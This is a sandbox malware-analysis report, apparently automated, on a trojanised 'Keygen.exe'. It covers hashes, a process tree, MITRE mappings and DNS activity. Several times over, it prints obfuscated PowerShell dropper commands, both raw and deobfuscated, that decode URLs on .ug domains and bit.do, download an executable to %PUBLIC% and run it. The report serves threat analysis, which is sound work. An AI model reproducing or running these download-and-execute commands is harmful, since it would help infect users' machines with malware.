38bc13ef112b2f17d4d1a80243fac6a521b5d58228984aae0752d79487fa3b66

Resubmissions

20/04/2025, 00:10 UTC

250420-agcc8axyax 10

16/04/2025, 11:04 UTC

250416-m58gsaz1ay 10

15/04/2025, 17:34 UTC

250415-v5ylksypw9 10

15/04/2025, 06:16 UTC

250415-g1p7ras1dw 10

14/04/2025, 08:06 UTC

250414-jzpwpstxhx 10

14/04/2025, 07:59 UTC

250414-jvg1assky4 10

14/04/2025, 07:22 UTC

250414-h7g1dss1h1 10

14/04/2025, 07:16 UTC

250414-h3xv2s1nv6 10

Analysis

max time kernel
141s
max time network
107s
platform
windows11-21h2_x64
resource
win11-20250410-en
resource tags

arch:x64arch:x86image:win11-20250410-enlocale:en-usos:windows11-21h2-x64system
submitted
14/04/2025, 07:22 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Keygen.exe
Size

849KB
MD5

dbde61502c5c0e17ebc6919f361c32b9
SHA1

189749cf0b66a9f560b68861f98c22cdbcafc566
SHA256

88cad5f9433e50af09ac9cad9db06e9003e85be739060b88b64186c05c0d636b
SHA512

d9b8537f05844ec2f2549e2049e967a8023bfe432e3a9cf25fc0f7ad720e57a5830be733e1812cc806c5b68cd9586a031e394f67fc7e3f7fe390625fd5dedfbb
SSDEEP

24576:uSdQdKdRdOdHdmHBnWs/nROBiGR4+hazer+Vufo/JxBYQ5:hH9DnR1Z+45Ufo/PBL

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

# powershell snippet 0

[void]$null

$wdxubevfic = get-random -min 3 -max 4

$qidanupkvwj = [char[]][char](97.."z")

$jfwlpghdovb = -join $qidanupkvwj|get-random -count $wdxubevfic|%{[char]$_}

$hdxnlosbpmk = ".exe"

$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk

$sypim = "SaL"

$xzrhm = "IEX"

$edxlnf = "sApS"

set-alias iyhxbstew "SaL"

$kjavpydntew = "Net.WebClient"

set-alias bruolc "IEX"

$andcvkhb = "$env:PUBLIC"|invoke-expression

set-alias cplmfksidr "sApS"

$bykmo = $andcvkhb + "\\" + $zdkhpw

$zvngemsbua = "aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl"

$zvngemsbua = "http://zxvbcrt.ug/zxcvb.exe"

$mzyjvgc = new-object "Net.WebClient"

$ihtxzqnbs = $mzyjvgc.downloaddata("http://zxvbcrt.ug/zxcvb.exe")

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	2716	powershell.exe
4	5596	powershell.exe
5	5436	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2904	Keygen.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2236	powershell.exe
2716	powershell.exe
5596	powershell.exe
588	powershell.exe
5436	powershell.exe
6056	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Keygen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Keygen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
984	timeout.exe
4068	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-599783296-1627459723-2423478968-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
2236	powershell.exe
2716	powershell.exe
2236	powershell.exe
2716	powershell.exe
5596	powershell.exe
5596	powershell.exe
588	powershell.exe
588	powershell.exe
5596	powershell.exe
588	powershell.exe
5436	powershell.exe
5436	powershell.exe
6056	powershell.exe
6056	powershell.exe
5436	powershell.exe
6056	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2236	powershell.exe
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeDebugPrivilege	5596	powershell.exe
Token: SeDebugPrivilege	588	powershell.exe
Token: SeDebugPrivilege	5436	powershell.exe
Token: SeDebugPrivilege	6056	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2904	Keygen.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 5792 wrote to memory of 5080	5792	Keygen.exe	83
PID 5792 wrote to memory of 5080	5792	Keygen.exe	83
PID 5792 wrote to memory of 5080	5792	Keygen.exe	83
PID 5080 wrote to memory of 2904	5080	cmd.exe	88
PID 5080 wrote to memory of 2904	5080	cmd.exe	88
PID 5080 wrote to memory of 2904	5080	cmd.exe	88
PID 5080 wrote to memory of 2436	5080	cmd.exe	89
PID 5080 wrote to memory of 2436	5080	cmd.exe	89
PID 5080 wrote to memory of 2436	5080	cmd.exe	89
PID 5080 wrote to memory of 4232	5080	cmd.exe	90
PID 5080 wrote to memory of 4232	5080	cmd.exe	90
PID 5080 wrote to memory of 4232	5080	cmd.exe	90
PID 5080 wrote to memory of 984	5080	cmd.exe	91
PID 5080 wrote to memory of 984	5080	cmd.exe	91
PID 5080 wrote to memory of 984	5080	cmd.exe	91
PID 4232 wrote to memory of 2236	4232	mshta.exe	92
PID 4232 wrote to memory of 2236	4232	mshta.exe	92
PID 4232 wrote to memory of 2236	4232	mshta.exe	92
PID 2436 wrote to memory of 2716	2436	mshta.exe	94
PID 2436 wrote to memory of 2716	2436	mshta.exe	94
PID 2436 wrote to memory of 2716	2436	mshta.exe	94
PID 5080 wrote to memory of 4864	5080	cmd.exe	96
PID 5080 wrote to memory of 4864	5080	cmd.exe	96
PID 5080 wrote to memory of 4864	5080	cmd.exe	96
PID 4864 wrote to memory of 5596	4864	mshta.exe	97
PID 4864 wrote to memory of 5596	4864	mshta.exe	97
PID 4864 wrote to memory of 5596	4864	mshta.exe	97
PID 5080 wrote to memory of 4944	5080	cmd.exe	99
PID 5080 wrote to memory of 4944	5080	cmd.exe	99
PID 5080 wrote to memory of 4944	5080	cmd.exe	99
PID 4944 wrote to memory of 588	4944	mshta.exe	100
PID 4944 wrote to memory of 588	4944	mshta.exe	100
PID 4944 wrote to memory of 588	4944	mshta.exe	100
PID 5080 wrote to memory of 4068	5080	cmd.exe	102
PID 5080 wrote to memory of 4068	5080	cmd.exe	102
PID 5080 wrote to memory of 4068	5080	cmd.exe	102
PID 5080 wrote to memory of 2920	5080	cmd.exe	103
PID 5080 wrote to memory of 2920	5080	cmd.exe	103
PID 5080 wrote to memory of 2920	5080	cmd.exe	103
PID 5080 wrote to memory of 824	5080	cmd.exe	104
PID 5080 wrote to memory of 824	5080	cmd.exe	104
PID 5080 wrote to memory of 824	5080	cmd.exe	104
PID 2920 wrote to memory of 5436	2920	mshta.exe	105
PID 2920 wrote to memory of 5436	2920	mshta.exe	105
PID 2920 wrote to memory of 5436	2920	mshta.exe	105
PID 824 wrote to memory of 6056	824	mshta.exe	107
PID 824 wrote to memory of 6056	824	mshta.exe	107
PID 824 wrote to memory of 6056	824	mshta.exe	107

C:\Users\Admin\AppData\Local\Temp\Keygen.exe
"C:\Users\Admin\AppData\Local\Temp\Keygen.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5792
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7908.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\Keygen.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Users\Admin\AppData\Local\Temp\7908.tmp\Keygen.exe
    Keygen.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:2904
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7908.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2436
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2716
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7908.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4232
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2236
- - C:\Windows\SysWOW64\timeout.exe
    timeout 1
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:984
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7908.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4864
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5596
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7908.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4944
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:588
- - C:\Windows\SysWOW64\timeout.exe
    timeout 2
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:4068
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7908.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2920
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5436
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7908.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:824
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6056

Network

DNS

zxvbcrt.ug

powershell.exe

Remote address:

8.8.8.8:53

Request

zxvbcrt.ug

IN A

Response
DNS

pdshcjvnv.ug

powershell.exe

Remote address:

8.8.8.8:53

Request

pdshcjvnv.ug

IN A

Response
DNS

pdshcjvnv.ug

powershell.exe

Remote address:

8.8.8.8:53

Request

pdshcjvnv.ug

IN A

Response
DNS

pdshcjvnv.ug

powershell.exe

Remote address:

8.8.8.8:53

Request

pdshcjvnv.ug

IN A

Response
DNS

bit.do

powershell.exe

Remote address:

8.8.8.8:53

Request

bit.do

IN A

Response

bit.do

IN A

23.21.31.78
DNS

8.8.8.8.in-addr.arpa

powershell.exe

Remote address:

8.8.8.8:53

Request

8.8.8.8.in-addr.arpa

IN PTR

Response

8.8.8.8.in-addr.arpa

IN PTR

dnsgoogle
DNS

rbcxvnb.ug

powershell.exe

Remote address:

8.8.8.8:53

Request

rbcxvnb.ug

IN A

Response
DNS

nexusrules.officeapps.live.com

powershell.exe

Remote address:

8.8.8.8:53

Request

nexusrules.officeapps.live.com

IN A

Response

nexusrules.officeapps.live.com

IN CNAME

prod.nexusrules.live.com.akadns.net

prod.nexusrules.live.com.akadns.net

IN A

52.111.236.22
DNS

22.236.111.52.in-addr.arpa

powershell.exe

Remote address:

8.8.8.8:53

Request

22.236.111.52.in-addr.arpa

IN PTR

Response

23.21.31.78:80

bit.do

powershell.exe

260 B
5
23.21.31.78:80

bit.do

powershell.exe

260 B
5
23.21.31.78:80

bit.do

powershell.exe

260 B
5

8.8.8.8:53

zxvbcrt.ug

dns

powershell.exe

230 B
294 B
4
4

DNS Request

zxvbcrt.ug

DNS Request

pdshcjvnv.ug

DNS Request

pdshcjvnv.ug

DNS Request

pdshcjvnv.ug
8.8.8.8:53

bit.do

dns

powershell.exe

322 B
577 B
5
5

DNS Request

bit.do

DNS Response

23.21.31.78

DNS Request

8.8.8.8.in-addr.arpa

DNS Request

rbcxvnb.ug

DNS Request

nexusrules.officeapps.live.com

DNS Response

52.111.236.22

DNS Request

22.236.111.52.in-addr.arpa

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
1a2e5e35da46d56789cbaea1c8e2d094

SHA1
0be9a7f3614a60cce7ebc4aacfd55d87cf34e0f8

SHA256
0f977384b6ebe2ba0f51ed25b44599ad33bac5dfce64478461f7a8c725bbba0c

SHA512
cf4ea5b403bcc750bcf3d96fe7330d12315ef582521a6e70386156027d0e5761dd6ff15785ae16f28381bdda6719e3cbc99c1427d8d98feee03fd924c464c162

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
60KB

MD5
0a9da256ffcfe42119c7a351e5eaaa9c

SHA1
c992b8e18cfc24faee739511beb5094189806177

SHA256
f4750e5af8c84626318382887c9c17e6555eff006af7d7e88cadd562ab2ee8ed

SHA512
451f4d470fe938a7c71d340f0711a9d1cb98f542138bd95584244471fa5f31beba8274699be1e497742ce91182dc9e308ca2d9ce3d004174a8228cca4c118672

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
5b5196e08412b6cfea3f4def02d912d3

SHA1
a4deeb328fb2aea71f4163acdebfee8f5fe740ac

SHA256
83616eed508be80d00d8a033f5a7baff9c8a80d506740bb8b4da6425b0e69be8

SHA512
d29127965452fbd2083c9bf8f764d4b59efeee5ced18a17c848de1ee49bebabf06b1ce57052ed7fbd4ec40ff8c9d3f9cba5ea84fc4297e5cf2774a6981a40b33

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
796B

MD5
ac47c0ad5c132822bd5684a7498118fd

SHA1
2a3bc7a600729d2fede12c22edb9d97e5b4996cf

SHA256
fb0fc723344f5adaf4fb8175af16544d56969173fed7f04d6bbadb85d0fe9d98

SHA512
5ac8e50f2ccf0004cc1b279d5e50f1191205326b35db81fbb0b047a18d9e13e5ba005f2590511c39f48b9a7f7cd691e5a7078aff4c5721682b96a83a65cc4b86

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
839a617ca758da304beadef471cc0140

SHA1
db51f0f6beacb412b34de18c8d7dba87ce1beb13

SHA256
ed593191320b23cb9310ee8d2914b4e8abbc52117af94c9ec3f5446b0cfacfae

SHA512
ce9d5efac61b69677eb835a79e934baf66cd51d357db84b65efd7b853d61f1103017daaea49dc918c3c6b14bee83c46b5e3cd94a7bbc79fb0d3f0c72c0c05447

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
7377bbab99b50ac8d3f4e9633616a873

SHA1
68dad6d20517cd82d2e3b61130153dfc7738caa2

SHA256
